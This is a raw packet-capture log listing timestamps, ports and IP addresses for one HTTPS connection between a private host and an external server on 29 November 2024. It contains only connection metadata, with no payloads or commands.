Nov 29, 2024 15:45:34.693173885 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:34.693239927 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:34.779357910 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:34.866446018 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:34.866476059 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:34.866511106 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:34.866530895 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:34.866550922 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:34.866564035 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:34.871254921 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:34.871270895 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:34.871323109 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:34.871330976 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:34.871551991 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:34.876848936 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:34.876866102 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:34.876915932 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:34.876924992 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:34.876971006 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:34.882353067 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:34.882368088 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:34.882411003 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:34.882419109 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:34.882442951 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:34.882455111 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:34.888006926 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:34.888022900 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:34.888071060 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:34.888078928 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:34.888132095 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:34.893069029 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:34.893084049 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:34.893129110 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:34.893137932 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:34.893208981 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:34.898652077 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:34.898673058 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:34.898703098 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:34.898710966 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:34.898740053 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:34.898751974 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:34.903552055 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:34.903567076 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:34.903601885 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:34.903609991 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:34.903637886 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:34.903647900 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:35.032761097 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:35.077184916 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.077208042 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.077333927 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:35.077343941 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.077543974 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:35.082056046 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.082073927 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.082129002 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:35.082135916 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.082464933 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:35.087564945 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.087582111 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.087637901 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:35.087646961 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.090461969 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:35.093112946 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.093132019 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.093178988 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:35.093187094 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.094458103 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:35.097949028 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.097965002 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.098023891 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:35.098032951 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.098459005 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:35.103971004 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.104022026 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.104084015 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:35.104090929 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.106472969 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:35.108881950 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.108906984 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.108966112 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:35.108972073 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.108982086 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:35.109018087 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:35.114298105 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.114322901 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.114384890 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:35.114392042 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.114449024 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:35.159652948 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:35.287734985 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.287763119 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.287894011 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:35.287919998 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.287991047 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:35.293288946 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.293312073 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.293365955 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:35.293375969 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.293420076 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:35.298286915 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.298304081 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.298367977 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:35.298379898 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.298449993 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:35.303778887 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.303795099 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.303860903 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:35.303869009 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.306483984 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:35.309251070 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.309268951 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.309340000 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:35.309348106 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.310478926 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:35.311377048 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:35.314471960 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.314491987 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.314553976 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:35.314560890 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.318489075 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:35.319992065 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.320008993 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.320074081 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:35.320081949 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.320128918 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:35.324907064 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.324923992 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.324995041 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:35.325002909 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.326096058 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:35.395133972 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:35.498308897 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.498336077 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.498555899 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:35.498569965 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.498617887 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:35.503755093 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.503772974 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.503823042 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:35.503830910 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.503859043 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:35.503880978 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:35.508663893 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.508681059 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.508738041 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:35.508744955 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.508786917 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:35.514249086 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.514264107 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.514305115 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:35.514312029 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.514338970 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:35.514357090 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:35.519709110 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.519723892 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.519790888 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:35.519798040 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.519843102 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:35.525010109 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.525024891 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.525091887 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:35.525099993 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.525141954 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:35.526103973 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:35.530435085 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.530452967 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.530507088 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:35.530514956 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.530730009 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:35.535383940 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.535404921 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.535470963 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:35.535480022 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.535526991 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:35.538547993 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:35.708651066 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.708678007 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.708798885 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:35.708810091 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.708853006 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:35.714467049 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.714483976 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.714551926 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:35.714560986 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.714601994 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:35.719338894 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.719355106 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.719407082 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:35.719418049 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.719459057 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:35.725079060 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.725095987 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.725174904 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:35.725183010 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.725231886 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:35.730504036 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.730520964 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.730576038 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:35.730587959 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.730627060 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:35.735629082 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.735671043 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.735743046 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:35.735754013 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.735795975 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:35.739398956 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:35.741204023 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.741221905 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.741281033 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:35.741288900 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.741331100 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:35.746190071 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.746206999 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.746267080 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:35.746275902 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:35.746320963 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:35.750796080 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:36.010895014 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.010909081 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.010926008 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.010962963 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:36.010984898 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.010993958 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:36.011018038 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:36.016261101 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.016278028 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.016328096 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:36.016343117 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.016406059 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:36.016684055 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:36.021835089 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.021852970 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.021892071 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:36.021903038 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.021928072 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:36.021950960 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:36.026782036 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.026804924 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.026865959 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:36.026875973 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.026915073 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:36.032515049 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.032531023 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.032598019 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:36.032607079 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.032638073 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:36.034642935 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:36.038100004 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.038115978 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.038156986 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:36.038167000 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.038191080 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:36.038204908 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:36.039721966 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:36.043016911 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.043032885 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.043078899 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:36.043087006 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.043122053 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:36.048516989 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.048537970 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.048585892 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:36.048593998 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.048626900 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:36.049359083 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:36.379539013 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.379553080 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.379601002 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.379658937 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:36.379690886 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.379718065 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:36.379734039 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:36.385164976 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.385199070 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.385232925 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:36.385240078 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.385262012 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:36.385282993 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:36.390484095 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.390505075 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.390553951 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:36.390561104 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.390598059 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:36.395385981 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.395402908 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.395457983 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:36.395463943 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.395503044 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:36.400960922 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.400978088 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.401031017 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:36.401036978 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.401077032 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:36.406352997 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.406369925 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.406431913 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:36.406439066 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.406476974 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:36.411746025 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.411762953 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.411809921 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:36.411815882 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.411859035 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:36.417216063 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.417233944 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.417264938 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:36.417270899 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.417299986 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:36.417366982 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:36.419370890 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:36.783657074 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.783672094 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.783709049 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.783806086 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:36.783827066 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.783857107 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:36.783868074 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:36.783971071 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.783986092 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.784037113 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:36.784044027 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.784079075 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:36.784785032 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.784800053 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.784847975 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:36.784854889 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.784913063 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:36.786561966 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.786576033 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.786628962 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:36.786636114 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.786669970 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:36.787355900 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.787370920 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.787422895 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:36.787427902 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.787461996 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:36.789088964 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:36.789109945 CET	443	49704	149.129.12.34	192.168.2.5
